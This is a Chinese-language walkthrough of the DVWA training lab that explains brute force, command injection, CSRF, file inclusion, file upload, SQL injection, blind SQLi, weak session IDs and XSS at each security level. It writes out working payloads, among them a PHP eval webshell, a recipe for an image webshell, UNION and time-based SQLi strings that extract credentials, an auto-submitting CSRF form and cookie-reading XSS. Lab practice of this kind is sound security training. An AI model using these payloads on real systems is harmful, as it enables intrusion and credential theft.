DVWA靶场练习
- 1.Brute Force(暴力破解)
- 2.Command Injection(命令注入)
- 3.CSRF(跨站请求伪造漏洞)
- 4.File Inclusion(文件包含漏洞)
- 5.File Upload(文件上传漏洞)
- 6.Insecure CAPTCHA(不安全的验证码)
- 7.SQL Injection(sql注入)
- 8.SQL Injection (Blind)(盲注)
- 9.Weak Session IDs(弱会话id)
- 10.DOM Based Cross Site Scripting (XSS)(DOM型XSS攻击)
- 11.Reflected Cross Site Scripting (XSS)(反射型XSS)
- 12.Stored Cross Site Scripting (XSS)(存储型XSS)
- 13.Content Security Policy (CSP) Bypass(内容安全策略)
- 14.JavaScript Attacks( 前端攻击)
参考文章: 点击此处
1.Brute Force(暴力破解)
四种爆破方式的个人理解
1. Sniper (狙击手)
选定一个目标,用字典不同参数依次进行爆破
2.Battering ram(撞击物)
账号密码使用相同的字典参数,不断重复
3.Pitchfork(交叉棒)
账号密码同时进行替换
4.Cluster bomb(集束炸弹)
账号取第一个参数,密码用第二个字典进行遍历;遍历完成后账号取第二个参数,再次重复遍历
1.LOW级
1.随便写一个账号密码,进行抓包,发送到爆破模块

2.把定位的清除掉,在密码的地方添加$

3.添加字典进行爆破
爆破成功

low级结束
2.medium级
low级源代码

medium级源代码

可以看到,相比low级,mediun多加了mysql_real_escape_string函数,该函数会对字符串中的特殊符号(x00,\n,\r,,’,",x1a)进行转义,可以抵御sql注入攻击,但依然没有加入防爆破的机制,因此可以使用burp suite进行暴力破解。
3.high级
源代码

相比medium添加了token验证
什么是token验证?
基于Token的身份验证的过程如下:
1.用户通过用户名和密码发送请求。
2.服务器端程序验证。
3.服务器端程序返回一个带签名的token 给客户端。
4.客户端储存token,并且每次访问API都携带Token到服务器端的。
5.服务端验证token,校验成功则返回请求数据,校验失败则返回错误码。

请求中发送token而不再是发送cookie能够防止CSRF(跨站请求伪造)。即使在客户端使用cookie存储token,cookie也仅仅是一个存储机制而不是用于认证。不将信息存储在Session中,让我们少了对session操作。
token是有时效的,一段时间之后用户需要重新验证。
因为token是随机的 所以破解时候token这一项也需要破解
1.进行抓包

可以看到有token验证
2.将token和password两项设置为变量 攻击模式使用Pitchfork(音叉,同时替换账号密码)
将线程数修改为一(每个响应包的token都是不一样的,所以用单个线程)

3.Grep-Extract(通过正则提取返回信息中的内容)模块进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取

Redirections模块设置允许重定向,选择always
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NIo7cdVh-1673607538086)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230113184305609.png)]](https://i-blog.csdnimg.cn/blog_migrate/e1d0d2b84ecb1a26a08c477a9fda89e7.png)
4.![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-03pHS0Ap-1673607538086)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230113185417147.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-clj9u8JF-1673607538086)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230113185446411.png)]](https://i-blog.csdnimg.cn/blog_migrate/03a383f3257da56118575ae3827933fe.png)
5.添加字典,开始爆破
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9Zh5MP0h-1673607538086)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230113185544049.png)]](https://i-blog.csdnimg.cn/blog_migrate/ef0573a0717c250650d62bc414cf3f91.png)
爆破成功.
4.impossible
源代码

查看源代码分析得出:
通过源代码可以看到,impossible级别在high级别的基础上对用户登录次数进行了限制,当用户登录失败3次后,后台就会锁住账号,在15分钟之内无法进行任何的操作
是对暴力破解的最有效防御,一般无法破解。
2.Command Injection(命令注入)
什么是命令注入?
命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏。
常用到的命令:(总结来说就是系统操作命令DOS命令都可以在此执行试试)
ipconfig,net user(查看系统用户),dir(查看当前目录),find(查找包含指定字符的行),whoami(查看系统当前有效用户名)
| 命令管道符
格式:第一条命令 | 第二条命令 [| 第三条命令…]
将第一条命令的结果作为第二条命令的参数来使用
& 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令…]
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是
允许的,而且用的非常广泛。因为批处理认行不认命令数目。
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
&& 组合命令
语法:第一条命令 && 第二条命令 [&& 第三条命令…]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则
一直执行完所有命令
这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行
|| 组合命令
语法:第一条命令 || 第二条命令 [|| 第三条命令…]
用这种方法可以同时执行多条命令,当一条命令失败后才执行第二条命令,当碰到执行正确的命令后将不 执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
提示:组合命令和重定向命令一起使用必须注意优先级 管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令
原文链接:https://blog.youkuaiyun.com/CYwxh0125/article/details/122460851
1.LOW级
1.ping一下127.0.0.1

出现乱码,发现是由于编码方式导致,将utf-8改为gb2312(是中国用于简体中文字符的字符编码标准,GB2312为单字节编码,最多可代表6763个汉字。它通常用于较旧的系统,并且正在逐步淘汰,取而代之的是Unicode,Unicode可以表示更多的字符。)
修改后

2.使用一下命令,看反馈
1.查询本地ip

2.查看系统信息

3.查看目录

以上是一些简单的命令注入
2.Medium级

medium只是将&&和;进行了转义,故绕开即可,可以使用&

3.high级

high将这么多的字符进行了转义
但是通过源码发现转义|前有空格,所以可以用不带空格的|进行转义

4.impossible级
增加了token验证

限制了输入格式,,只能为ip地址那样

3.CSRF(跨站请求伪造漏洞)
一、CSRF分类
你可以这么来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等
- GET型:
如果一个网站某个地方的功能,比如用户修改邮箱是通过GET请求进行修改的。如:/user.php?id=1&email=123@163.com ,这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ,然后通过各种手段发送给被攻击者,诱使被攻击者点击我们的链接,当用户刚好在访问这个网站,他同时又点击了这个链接,那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了
2.POST型:
在普通用户的眼中,点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常,但又不正常的,当然不正常的情况下,是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如:/coures/user/handler/25332/buy.php 。通过提交表单,buy.php处理购买的信息,这里的25532为视频ID。那么攻击者现在构造一个链接,链接中包含以下内容
<form action=/coures/user/handler/25332/buy method=POST>
<input type="text" name="xx" value="xx" />
</form>
<script> document.forms[0].submit(); </script>
当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了id为25332的视频,从而导致受害者余额扣除
二、CSRF攻击原理

1.用户输入账号信息请求登录A网站。
2.A网站验证用户信息,通过验证后返回给用户一个cookie
3.在未退出网站A之前,在同一浏览器中请求了黑客构造的恶意网站B
4.B网站收到用户请求后返回攻击性代码,构造访问A网站的语句
5.浏览器收到攻击性代码后,在用户不知情的情况下携带cookie信息请求了A网站。此时A网站不知道这是由B发起的。那么这时黑客就可以进行一下骚操作了!
6.两个条件:
a.用户访问站点A并产生了cookie
b.用户没有退出A同时访问了B
三.靶场练习
1.LOW级
1.进行抓包

2.右击后点击生成csrf漏洞


3.点击复制,将攻击url复制后新打开一个浏览器,并将url粘贴进浏览器的urletty栏中

4.点击后完成
2.medium级

加上了对用户请求头的中的Referer字段进行验证 即用户的请求头中的Referer字段必须包含了服务器的名字
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
所以就不能其他网页通过点开链接修改密码
需要伪造 referer
先正常访问dvwa 再抓包获取 referfer
3.high级
4.File Inclusion(文件包含漏洞)
1.什么是文件包含漏洞
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含
简单的来说就是服务器通过php的特性(函数的特性)去包含任意文件时,由于对包含的这个文件来源过滤不严,从而可去包含一个恶意的文件,而我们构造的这个恶意的文件来达到“邪恶”的目的(比如读取服务器的敏感文件等)
包括:本地文件包含和远程文件包含
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
2.漏洞成因
当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行
3.靶场练习
1.low级

提示我们这个选项没有开,去相应php版本里修改一下配置文件即可
修改后记得重启Apache服务
2.查看源代码

没有任何过滤,直接将一个文件输入地址栏即可

2.Medium级
1.查看源代码

发现使用str_replace对http://,https:// 替换成空,对于str_replace函数进行的过滤,可以使用双写或者大小写进行绕过。
例如:hthttp://tp://www.baidu.com
过滤后 http://www.baidu.com
3.High级
1.查看源码

fnmatch() 函数根据指定的模式来匹配文件名或字符串。
源码中限制了文件名来防止恶意文件包含,并且!fnmatch( “file*”, $file )代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件,这样我们就远程访问不了了。
注意:file:///后面一定是绝对路径

4.impossible级
使用了白名单过滤,文件只能是那几个
5.File Upload(文件上传漏洞)
什么是文件上传漏洞:
大部分的网站和应用都有上传功能,如用户头像上传,图片,logo,文档等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者像某个可通过web访问的目录上传任意php文件,并能够将这些文件传递给php解释器,就可以在远程服务器上执行任意php脚本。
当系统存在文件上传漏洞同时攻击者可以将病毒,木马,webshell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以使正常后缀的php,asp以及jsp脚本,也可以是篡改后缀后的这几类脚本。
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
造成文件上传漏洞的原因及原理
漏洞成因:
1 对于上传文件的后缀名(扩展名)没有做较为严格的限制
2 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
3 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
4 对于web server对于上传文件或者指定目录的行为没有做限制
漏洞原理:
在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上。
文件上传可能带来的安全问题:
-上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行;
-上传文件是flash的策略文件crossdomiain.xml,黑客用以控制flash在该域下的行为;
-上传文件是病毒、木马,黑客用以诱骗用户或者管理员下载执行;
-上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
参考内容:文件上传漏洞小总结_whoim_i的博客-优快云博客_什么是文件上传漏洞
靶场练习
1.Low级
1.源代码

对应文件的上传类型并没有限制,可以直接上传一句话木马
<?php @eval($_POST[value]);?>
2.Medium级
1.源代码

限制了文件的大小和类型
第一种方法(burpsuite抓包)
1.首先在将flag.php文件后缀名改为.png;
2.使用burp抓取上传png文件的数据包;
3.将文件重命名为flag1.php,然后放包
第二种方法(使用cmd命令行制作图片密码)
1.新建一个写入一句话木马的1.txt文档,文件夹以及名称为666.png的的图片,将图片和txt文档放入文件夹中,在文件地址处打开cmd命令行。
2.在cmd命令行中输入copy 666.png /b + 1.txt /a 888.png,即可制作一个文件名为3.jpg的图片木马。

3.High级

High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。
故上传图片木马即可
4.impossible级
这个级别的文件上传对上传的文件进行了重命名(MD5的加密),还增加了token值的校验,对文件的内容也做了严格的检查。
6.Insecure CAPTCHA(不安全的验证码)
验证过程

用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。
靶场练习
1.Low级
按照源码,总共分为两个阶段:
第一阶段,step1,对用户的身份进行验证,验证成功才能进行密码修改
第二阶段,step2,两次输入的密码一致,才可以进行修改
思路:跳过第一步,直接进行第二步
(1)输入两个一致的密码,使用burp抓包

(2)将其中的step1直接改为step2

修改成功
2.Medium级
增加了一个passed_captcha,当passed_captcha为true时就可以修改密码了
与Low相似,直接修改为step2,并且在后面增加参数passed_captcha=true,即可修改成功
3.high级
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zkCRLLts-1676275470516)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230211172604213.png)]](https://i-blog.csdnimg.cn/blog_migrate/ecefe9309ca7b3fc0bd8203a1c40486f.png)
4.Impossible级
Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。并且也不存在逻辑漏洞了,抓包改改包并不能绕过验证码的检测。
7.SQL Injection(sql注入)
什么是sql注入
就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定回显位置
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.得到数据
靶场练习
1.Low级
经过判断可得到属于单引号闭合的字符型闭合
1.输入1,回显正常,确认存在sql注入。
2.猜解SQL查询语句中的字段数
1’ order by 2#
1’ order by 3#
3.确定回显位置(为第二个位置)
1’ union select 1,2#
4.获取当前数据库。dvwa
1’ union select 1,database()#
5.获取数据库中的表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 获取表中的字段名
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
7.获取字段中的数据
1’ union select user,password from users#
2.Medium级

网页通过下拉表单的格式提交数据。
从页面源代码中可以发现,代码不是get型注入,应该是把提交的数据存放到post数据中了。
该方法行不通,需要转变思路,利用burpsuite抓包,修改数据包内容,得到网页的回显。
在下图详细介绍了,burpsuite的修改数据包的内容,所得到网页的回显。
标记为1:更改GET==>POST
标记为2:增加 Content-Type: application/x-www-form-urlencoded,这条记录若不添加,会造成网页没有任何回显。
标记为3:数据包内容(即构造的SQL语句)
标记为4:回显的内容。
原文链接:https://blog.youkuaiyun.com/m0_56010012/article/details/123353103

后续SQL注入的步骤修改的地方为标记3。
对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;
查找数据库DVWA中有多少表。
id=2 union select 1,table_name from information_schema.tables where table_schema=(select database())#&Submit=Submit
回显内容:数据库dvwa中存在两个表user和guestbook
查看表中的字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
网页返回错误
查看源代码
i d = m y s q l i r e a l e s c a p e s t r i n g ( id = mysqli_real_escape_string( id=mysqlirealescapestring(GLOBALS[“___mysqli_ston”], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
因此当SQL语句中‘’,会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;user转换为16进制为0x7573657273。
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit
user表中的字段有user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
获取关键数据
最后得到的密码是16进制数据,我们需要将其处理后使用。
id=1 union select user,password from users#&Submit=Submit
8.SQL Injection (Blind)(盲注)
什么是盲注
SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
2. 原理
盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
3.盲注的一般步骤
- 判断是否存在注入、注入是字符型还是数字型
- 猜解当前数据库名
- 猜解数据库中的表名
- 猜解表中的字段名
- 猜解数据
布尔型盲注
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注利用
该语句判断数据库个数,当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n
该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n
该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
时间盲注
1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
2.时间盲注利用
该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
版权声明:本文为优快云博主「你怎么睡得着的!」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/CYwxh0125/article/details/122460851
靶场练习
1.Low级
源代码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
主要步骤
-
isset检测Session中的id变量是否已设置并且非 NULL
-
得到用户提交的数据 id
-
利用用户数据拼接成sql语句query,id当做字符串
-
使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错,错误是自定义的
-
使用mysqli_fetch_assoc函数获取结果集的一行给变量row
-
使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mJVjAmM1-1676275470516)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230212143559993.png)]](https://i-blog.csdnimg.cn/blog_migrate/c8d0b9f079f4e88167cbe1287c1def6d.png)
方法一、布尔盲注
1.查数据库前要先判断数据库的长度
依次输入1’ and length(database())=x #(x为大于等于1的整数)
当显示存在时即为数据库长度
发现当x=4时显示存在,故数据库长度为4
2.二分法找数据库名
依次输入1’ and ascii(substr(databse(),1,1))>或<字母的ascii值 #通过比较输入字母的ascii值的显示正常与否来逐个确定库名
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
以此类推 最后可以得到 数据库名称 dvwa
因为效率太低 可以使用脚本
.找数据库中的表
首先确定数据库中表的数量
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)
当显示存在时即可判断表的数量
最终当x=2显示存在即表的数量为2
然后确定表的长度
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)
当显示存在时即可判断表的长度
当x=9显示存在即表的长度为9
然后同样二分法确定表名
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #
通过比较输入字母的ascii值的显示正常与否来逐个确定表名 步骤同第二步
4.找字段名
同上一步 先确定数量 再用二分法确定名称
2.Medium级
抓包修改 同上一关
使用时间类型注入
1.判断注入类型
输入1’ and sleep(6) #,有明显延迟;
输入1 and sleep(6) #,没有延迟;
说明为字符型盲注
2.找库名
先确定库名长
1' and if(length(database())=1,sleep(5),1) # 没有延迟
......
1' and if(length(database())=4,sleep(5),1) # 明显延迟
库名长度为4
然后通过二分法找库名
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
...
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。
...
重复上述步骤即可找到库名(同上面)
3.找库中表名
先确定表的数量
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
可以确定表的数量为2
然后确定表的长度
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
...
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
可以确定第一个表的长度为9
最后二分法找到表名
4.找表中的字段
先确定字段的数量
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
...
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
可以确定users字段的数量为8
然后依次确定字段名
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
...
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7
最后再用二分法确定字段名
3.high级
源代码
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
high级别利用cookie传id 当查选不到结果时 会随机sleep 所以用布尔型盲注 方法同low级别 不过需要抓包在 cookie中修改id
9.Weak Session IDs(弱会话id)
1.什么是Weak Session IDs
当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。
服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质 :
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持
就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
靶场练习
1.low级
low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,dvwaSession每次提交时值加1

根据上面的数据 用hacker提交cookie
提交后直接登录
2.Medium级
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
medium级别是基于时间戳生成dvwaSesion的,关于时间戳转换,直接查找转换器进行转换即可
3.High级
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
sessionid每次递增之后转换成md5,另外还设置了sessionid有效期
使用md5解密,发现是对从零开始的整数进行加密;构造payload使用火狐提交。
4.impossible级别
$cookie_value采用随机数+时间戳+固定字符串"Impossible",再进行sha1运算,完全不能猜测到dvwaSession的值。
10.DOM Based Cross Site Scripting (XSS)(DOM型XSS攻击)
概念
DOM型XSS(Cross-Site Scripting)攻击是指攻击者利用漏洞在网页的客户端代码中插入恶意脚本,并通过该漏洞在用户的浏览器中执行这些恶意脚本。这种攻击与传统的服务器端XSS攻击不同,因为它涉及到客户端代码,而不是服务器端代码。
与传统的XSS攻击相比,DOM型XSS攻击更难防范,因为它涉及到客户端代码,而客户端代码可以被随时修改。此外,DOM型XSS攻击还可以利用浏览器的各种功能,如Cookie、LocalStorage和SessionStorage,来获取用户的敏感信息。
攻击者可以构造js代码,闭合元素标签执行恶意的js代码
xss常用语句
<svg οnlοad=alert(document.cookie)>
<img src=1 οnerrοr=alert(1)>
靶场练习
1.Low级
从代码中可以看到,对
可以使用img标签来进行绕过。这里需要把option标签进行闭合才能发出。前面的low是利用设置default的值,把值进行url解码,然后在option标签中显示。而option标签中是不允许存在img图片标签的,所有需要闭合标签后才能触发。
构造payload:

2.Medium级
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
从代码中可以看到,对
过滤了
闭合标签构造xss事件

3.High级
default=只允许是French、English、German、Spanish、这几个通过。(采用了白名单过滤)
default=English#<img src=“” οnerrοr=alert(/xss/)>
11.Reflected Cross Site Scripting (XSS)(反射型XSS)
原理
在反射型XSS攻击中,攻击者利用了特制的URL,使得其中包含的恶意代码在受害者的浏览器上被执行。当受害者点击了这个URL,恶意代码就会被执行,并在受害者的浏览器上对用户造成威胁。
靶场练习
1.Low级
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
